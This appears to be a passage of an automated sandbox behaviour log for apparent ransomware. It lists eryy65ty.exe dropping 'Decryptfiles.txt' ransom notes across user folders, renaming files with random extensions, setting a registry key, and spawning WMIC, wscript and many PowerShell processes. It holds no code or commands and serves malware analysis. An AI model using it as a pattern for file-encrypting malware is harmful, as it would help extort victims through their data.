Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal.ljOI offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal.tiBv offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal.gJOW offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal.hQNu offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal.MclI offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\targeting.snapshot.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\targeting.snapshot.json offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\times.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite offset: 98304
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\webappsstore.sqlite-wal.nxmV offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\xulstore.json.EBes offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\times.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\_curlrc.SbgX offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Contacts\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Downloads\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Amazon.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Bing.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Facebook.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Links\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Live.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\NYTimes.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Twitter.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Wikipedia.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Links\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Favorites\Youtube.url offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\NTUSER.DAT.PjJC offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\ntuser.dat.LOG1.zFIM offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\ntuser.dat.LOG2.yrbT offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\OneDrive\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Recent\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\ntuser.ini offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Saved Games\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Searches\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\_curlrc.QhjT offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\AccountPictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\Documents\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\Music\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\Pictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\Videos\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\Downloads\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\Libraries\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\Public\Libraries\RecordedTV.library-ms offset: 0
Source: C:\Windows\System32\wbem\WMIC.exeFile written: \Device\ConDrv offset: 48
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 4112
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\NTUSER.DAT.puvR offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\ntuser.dat.LOG1.qsaN offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\ntuser.dat.LOG2.yVIk offset: 0
Source: C:\Windows\System32\wbem\WMIC.exeFile written: \Device\ConDrv offset: 48
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 4112
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\NTUSER.DAT.chGf offset: unknown
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeKey value created or modified: HKEY_CURRENT_USER\SOFTWARE\SoftwareClient Private
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
